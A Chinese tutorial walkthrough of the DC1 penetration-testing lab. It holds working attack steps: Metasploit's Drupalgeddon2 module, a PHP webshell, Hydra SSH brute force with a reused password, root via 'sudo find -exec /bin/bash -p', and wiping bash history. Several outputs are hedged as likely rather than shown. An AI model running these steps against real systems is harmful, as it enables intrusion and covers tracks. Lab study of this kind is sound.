1. 项目概述:一次经典的“老系统”渗透之旅
最近在复现一个非常经典的渗透测试靶场——DC1。这个靶场之所以经典,是因为它完美复现了一个在真实环境中屡见不鲜的场景:一个使用老旧内容管理系统(CMS)的Web服务器,由于长期缺乏维护和更新,最终沦为了攻击者获取系统最高权限的跳板。整个实战过程,从Web应用漏洞的发现与利用,到权限的横向移动,再到最终的提权,环环相扣,逻辑清晰,堪称新手入门内网渗透和权限提升的绝佳教材。我花了些时间,从头到尾完整地走了一遍,过程中踩了些坑,也总结了不少心得,今天就来和大家详细拆解一下,如何从发现一个Drupal 7的漏洞开始,一步步拿到那枚象征着最高控制权的Root Shell。
这个靶场的核心目标很明确:拿到/root目录下的theflag.txt文件。路径清晰,但过程却需要综合运用多种技术。它模拟了一个典型的“边界突破-内网探测-权限提升”的攻击链。对于刚接触渗透测试的朋友来说,它能帮你建立起一个完整的攻击流程思维;对于有经验的老手,它也是一个温故知新、梳理知识点的好机会。接下来,我将完全从一个攻击者(或者说,一个安全研究者的)视角,带你手把手走完整个流程,重点会放在Hydra暴力破解和SUID提权这两个关键环节的原理与实操细节上。
2. 环境准备与信息收集
2.1 靶场环境搭建与网络配置
DC1靶机通常以虚拟机镜像(如OVA格式)的形式提供。我使用的是VirtualBox进行搭建。导入镜像后,首要任务是确定靶机的网络模式。为了模拟最接近真实的攻击环境,我选择了“桥接模式”或“NAT网络+端口转发”。这里我倾向于使用“仅主机(Host-Only)网络”,让攻击机(Kali Linux)和靶机(DC1)处于同一个隔离的虚拟网络中,这样既能保证通信,又不会干扰到我的物理网络。
启动靶机后,第一件事不是盲目扫描,而是先确定它的IP地址。由于靶机通常不会主动告知IP,我们需要在攻击机上进行探测。最直接的方法是使用netdiscover或arp-scan进行二层发现。
sudo netdiscover -r 192.168.56.0/24或者
sudo arp-scan -l执行后,网络中除了你已知的设备(如你的物理机、Kali本身),那个陌生的IP地址很可能就是DC1靶机。假设我们探测到靶机IP为192.168.56.101。拿到IP后,一个标准的“起手式”就是全面端口扫描,这里我习惯用nmap的-sV和-sC组合拳。
nmap -sV -sC -p- 192.168.56.101 -oN dc1_scan.txt这个命令的含义是:-sV探测服务版本,-sC使用默认脚本进行更深入的探测,-p-扫描所有65535个端口,-oN将结果输出到文件。扫描需要一些时间,但这份报告是我们后续所有行动的基石。
2.2 初探靶机:服务分析与漏洞假设
扫描结果通常会显示几个关键端口:
- 端口22 (SSH):开放,但版本可能较老,是潜在的暴力破解或版本漏洞利用点。
- 端口80 (HTTP):开放,运行着Web服务,这是我们最主要的突破口。
- 端口111 (rpcbind):可能开放,与NFS等服务相关,有时能泄露有价值信息。
浏览器访问http://192.168.56.101,页面赫然显示着“Drupal 7”。Drupal是一个强大的CMS,但Drupal 7系列历史上存在过一些严重漏洞,其中最著名的莫过于Drupalgeddon(CVE-2014-3704)。看到Drupal 7,我们脑子里就应该立刻拉响警报。首先,我们可以通过查看页面源码、robots.txt文件或者使用whatweb、Wappalyzer等工具进一步确认版本。
whatweb http://192.168.56.101确认是Drupal 7后,一个直接的思路就是搜索其已知漏洞。我们可以使用searchsploit在本地漏洞库中查找。
searchsploit drupal 7在结果中,我们会看到关于Drupal 7的多个漏洞利用脚本,其中就包括针对CVE-2014-3704的。然而,在真实渗透中,我们不会盲目使用公开的EXP,第一步应该是漏洞验证。
3. 突破边界:Drupal漏洞利用与WebShell获取
3.1 Drupalgeddon 2 (CVE-2018-7600) 漏洞原理浅析
虽然靶场可能设计为利用更早的漏洞,但Drupal 7还有一个影响更深远、利用更灵活的漏洞:Drupalgeddon 2(CVE-2018-7600)。这个漏洞的成因在于Drupal对表单渲染API的调用处理不当,允许攻击者通过精心构造的请求,将恶意代码注入到表单的#markup或#pre_render等属性中,最终在服务端执行任意PHP代码。
简单来说,正常用户提交表单,数据被处理、验证然后存入数据库或进行其他操作。而存在漏洞的Drupal,在处理某些特定路径(如用户注册、节点添加)的请求时,没有对用户可控的参数进行充分过滤,导致攻击者可以通过这些参数“污染”表单的内部处理流程,从而执行系统命令。这个漏洞的利用不需要任何权限,是典型的远程代码执行(RCE)。
3.2 使用Metasploit进行自动化利用
对于初学者,使用Metasploit框架可以快速、稳定地验证和利用此漏洞。启动msfconsole。
msfconsole在msf中搜索相关模块:
search drupal 2018-7600通常会找到exploit/unix/webapp/drupal_drupalgeddon2这个模块。使用它:
use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.56.101 exploit如果靶机存在此漏洞且利用成功,Metasploit会返回一个Meterpreter会话。Meterpreter是一个功能强大的后渗透工具,我们可以直接在其中执行系统命令。例如,输入shell可以获取一个简单的系统shell。
注意:自动化工具虽然方便,但“黑盒”操作不利于理解本质。建议在获取初始立足点后,一定要尝试手动利用,理解其HTTP请求的构造原理。网上有很多关于手动构造CVE-2018-7600攻击请求的详细文章,核心是向
/user/register等路径发送包含恶意PHP代码的POST请求。
3.3 手动上传WebShell与权限维持
通过漏洞拿到执行命令的能力后,下一步是建立一个更稳定、功能更强大的后门,也就是WebShell。我们可以用简单的echo命令将一个一句话PHP木马写入Web目录。 在获取的shell中,先找Web根目录。Drupal通常安装在/var/www/下。我们可以尝试:
find / -name “index.php” 2>/dev/null | grep /var/www或者直接浏览常见路径:
cd /var/www/html pwd确认路径后,写入WebShell:
echo ‘<?php system($_GET[“cmd”]); ?>’ > shell.php然后,在浏览器中访问http://192.168.56.101/shell.php?cmd=id,如果页面返回了当前用户的uid和gid信息,说明WebShell上传成功。这个WebShell给了我们一个通过Web请求来执行命令的通道,比不稳定的反向Shell或Meterpreter会话在某些场景下更直观。
但是,WebShell的权限通常就是Web服务进程的权限,在Linux上,这个用户往往是www-data。我们执行id或whoami命令,很可能会看到:
uid=33(www-data) gid=33(www-data) groups=33(www-data)这意味着我们目前只是一个低权限用户,无法读取/root下的flag。提权,势在必行。
4. 横向移动:信息收集与Hydra暴力破解
4.1 立足点后的系统信息搜集
在www-data权限下,我们需要尽可能多地收集信息,为下一步行动寻找线索。这是一项系统性的工作:
- 查看当前用户权限:
id,sudo -l(虽然www-data通常没sudo权限,但一定要试)。 - 查看系统信息:
uname -a(内核版本,找本地提权漏洞),cat /etc/issue(系统发行版)。 - 查看进程和服务:
ps aux,netstat -tulnp(看看有哪些内部服务在运行)。 - 寻找敏感文件:
find / -type f -name “*.txt” -o -name “*.bak” -o -name “*.old” -o -name “*.php” -o -name “config*” 2>/dev/null find / -type f -perm -o=r -ls 2>/dev/null | head -20 # 查找全局可读文件 - 查看网站配置文件:Drupal的
settings.php文件(通常在/var/www/html/sites/default/下)是重点,里面可能包含数据库密码。
果然,在配置文件中我们找到了MySQL数据库的连接信息:用户名cat /var/www/html/sites/default/settings.php | grep “password\|user\|host”drupaluser,密码R0ck3t,数据库drupal。数据库密码复用是极其常见的安全问题,这个密码很可能被系统用户或其他服务重复使用。
4.2 使用Hydra对SSH服务进行暴力破解
既然拿到了一个疑似密码R0ck3t,而靶机又开放了SSH(端口22),一个很自然的想法就是尝试用这个密码去登录可能存在的系统用户。我们需要先枚举一下系统上有哪些用户。
cat /etc/passwd | grep “/bin/bash”常见的系统用户有root,vagrant(如果靶机用Vagrant构建),以及一些以服务命名的用户。我们尝试用R0ck3t密码SSH登录root用户,但通常不会成功(root的SSH登录可能被禁用,或者密码不对)。
这时,暴力破解(Brute Force)就派上用场了。我们不是盲目爆破,而是有了一个高质量的“密码字典”——刚刚找到的R0ck3t。我们可以用它来爆破/etc/passwd中那些有登录shell的用户。首先,把可能的用户名提取出来:
cat /etc/passwd | grep “/bin/bash” | cut -d: -f1 > possible_users.txt然后,使用Hydra进行爆破。Hydra是一个强大的网络登录破解工具。针对SSH的爆破命令如下:
hydra -L possible_users.txt -p R0ck3t ssh://192.168.56.101 -t 4 -vV-L:指定用户名字典文件。-p:指定单个密码(这里就是我们找到的R0ck3t)。ssh://:指定协议和目标。-t:指定任务并行数(默认为16,SSH协议建议调低,如4,避免被目标拒绝)。-vV:显示详细进度。
执行后,Hydra会尝试用密码R0ck3t依次登录possible_users.txt中的每一个用户。很快,我们可能会得到成功结果:
[22][ssh] host: 192.168.56.101 login: flag4 password: R0ck3t太棒了!我们成功爆破出了用户flag4的密码也是R0ck3t。这证实了密码复用的猜想。
4.3 切换用户与进一步信息收集
现在,我们可以用SSH登录到flag4用户,获得一个更稳定的shell,并且权限可能比www-data更高。
ssh flag4@192.168.56.101 # 输入密码:R0ck3t登录后,重复信息收集步骤。执行sudo -l查看flag4用户能免密执行哪些命令,结果可能显示(root) NOPASSWD: /usr/bin/find。这是一个非常重要的发现!它意味着flag4用户可以以root权限执行find命令,而且不需要密码。这通常是由于系统管理员错误配置了sudoers文件导致的。
同时,检查flag4的家目录,可能会发现第一个flag文件(flag1.txt、flag2.txt等),按照指引阅读它们,里面通常会给出下一步的提示,比如“是时候提权了”或者指向某个特定的提权方法。
5. 权限提升:SUID提权与Find命令的妙用
5.1 SUID/SGID机制原理与风险
Linux系统中,权限提升的一个经典途径就是利用设置了SUID(Set User ID)或SGID(Set Group ID)位的可执行文件。当一个可执行文件被设置了SUID位时,任何用户在执行这个文件时,都会以文件所有者的权限来运行,而不是执行者的权限。
例如,/usr/bin/passwd这个命令就设置了SUID位,它的所有者是root。所以当普通用户执行passwd修改自己的密码时,实际上是以root权限在修改/etc/shadow文件,否则普通用户根本没有权限写这个文件。
风险在于,如果某个属于root且设置了SUID位的程序本身存在漏洞,或者其参数可以被用户高度控制,就可能被用来执行任意命令,从而实现提权。我们的任务就是找到这样的程序。
5.2 发现可利用的SUID文件
在拿到一个shell后,寻找SUID文件是标准操作:
find / -type f -perm -4000 -ls 2>/dev/null或者更详细一点:
find / -type f -perm -u=s -ls 2>/dev/null这条命令会在整个文件系统中搜索权限位中包含4000(即SUID)的文件,并将错误信息(如“Permission denied”)重定向到/dev/null忽略。
在结果列表中,我们会看到很多常见的系统命令,如passwd,mount,su等。我们需要从中找出那些既属于root,又可能被用来执行命令的程序。find命令就是其中之一,而且我们之前通过sudo -l已经知道flag4用户可以以root身份运行find,这其实是一个更强的条件(sudo提权),但SUID位的find同样可以利用。
5.3 利用Find命令的Exec参数进行提权
find命令有一个强大的-exec参数,它允许对找到的每个文件执行指定的命令。如果find本身是以root权限运行的(无论是通过SUID还是sudo),那么-exec后面跟的命令也会以root权限执行。
利用方式非常简单直接。在flag4用户的shell中,我们已经知道可以sudo /usr/bin/find。那么,我们可以这样操作:
sudo find /etc/passwd -exec /bin/sh \;或者,更常见的是使用一个交互式的shell:
sudo find . -exec /bin/bash -p \;解释一下这个命令:
sudo:以root权限执行后面的命令。find .:在当前目录开始查找文件(.代表当前目录)。-exec:执行参数。/bin/bash -p:启动一个bash shell。-p参数很重要,它告诉bash保留提升后的权限(即root权限),而不是降级回实际用户的权限。\;:-exec参数的结束符。
执行上述命令后,你会发现自己获得了一个root shell!提示符从$变成了#。执行id命令确认:
uid=0(root) gid=0(root) groups=0(root)至此,我们已经成功提权到root。
5.4 获取最终Flag与清理痕迹
成为root后,整个系统对你而言再无秘密。直接读取最终的flag:
cat /root/theflag.txt恭喜,你应该能看到最终的胜利信息。
实操心得与注意事项:
- 关于Find提权的变体:如果
find命令没有sudo权限,但是系统上存在一个属于root且设置了SUID位的find,那么直接执行find /etc/passwd -exec /bin/sh \;同样可以提权,因为SUID机制会让find以root身份运行。 - 参数中的空格:在
-exec参数中,命令和参数要用空格分开,并且整个命令需要用\;结束。如果命令中有空格,可能需要用引号包裹。 - 其他SUID提权方法:除了
find,还有很多命令可以用于SUID提权,如vim(通过:!bash)、nmap(交互模式)、more/less(通过!bash)、awk、cp等。核心思路是:这个命令能否以某种方式执行系统命令或启动一个shell?网站GTFOBins(https://gtfobins.github.io/)是一个宝库,它列出了大量可用于提权的二进制文件及其利用方法。 - 清理痕迹:在渗透测试或CTF中,拿到flag后任务就结束了。但在真实的安全评估中,作为道德黑客,需要清理留下的WebShell、添加的用户、执行的命令历史等痕迹。例如,删除上传的
shell.php,清除当前用户的bash历史(history -c并清空~/.bash_history文件)。
6. 总结与拓展思考
DC1靶场的渗透路径非常清晰:信息收集 -> Web漏洞利用获取WebShell -> 数据库密码挖掘 -> 密码复用/暴力破解获得新用户权限 -> 错误配置(SUID/sudo)发现 -> 利用配置漏洞提权至root。这条路径几乎涵盖了初级到中级渗透测试的大部分核心技能点。
回过头看,有几个关键点值得深入思考:
- 漏洞链的利用:一次成功的渗透很少只依赖一个漏洞。本案例中,Drupal RCE是入口点,密码复用是横向移动的桥梁,sudo配置错误是提权的钥匙。攻击者总是在不断寻找和连接这些薄弱环节。
- 信息收集的深度:从Web配置文件到数据库密码,从系统用户列表到sudo权限,每一步深入都依赖于上一步的发现。信息收集不是一次性动作,而是贯穿始终的过程。
- 自动化与手动的平衡:Metasploit能快速帮我们拿到初始shell,但理解其背后的HTTP请求构造原理,以及手动上传WebShell、执行命令的能力,是安全研究员的基本功。工具是辅助,思维才是核心。
- 权限提升的多样性:本案例展示了通过sudo配置进行提权。在实际环境中,内核漏洞(如Dirty Cow)、计划任务(Cron Jobs)、环境变量劫持、NFS配置错误等都可能成为提权的突破口。保持对系统配置和服务的敏感性至关重要。
这个靶场就像一本生动的教科书,把抽象的安全概念变成了可操作的步骤。我建议大家在复现时,不要满足于“跑通”,而是多问几个“为什么”:为什么这个密码会出现在那里?为什么管理员要给这个用户sudo权限?如果find命令被正确配置了安全策略,该如何防御?通过这样的思考,你才能真正把知识内化,在面对更复杂、更陌生的环境时,也能游刃有余。最后,记住所有技术学习都应在合法授权的环境下进行,这是安全从业者不可逾越的红线。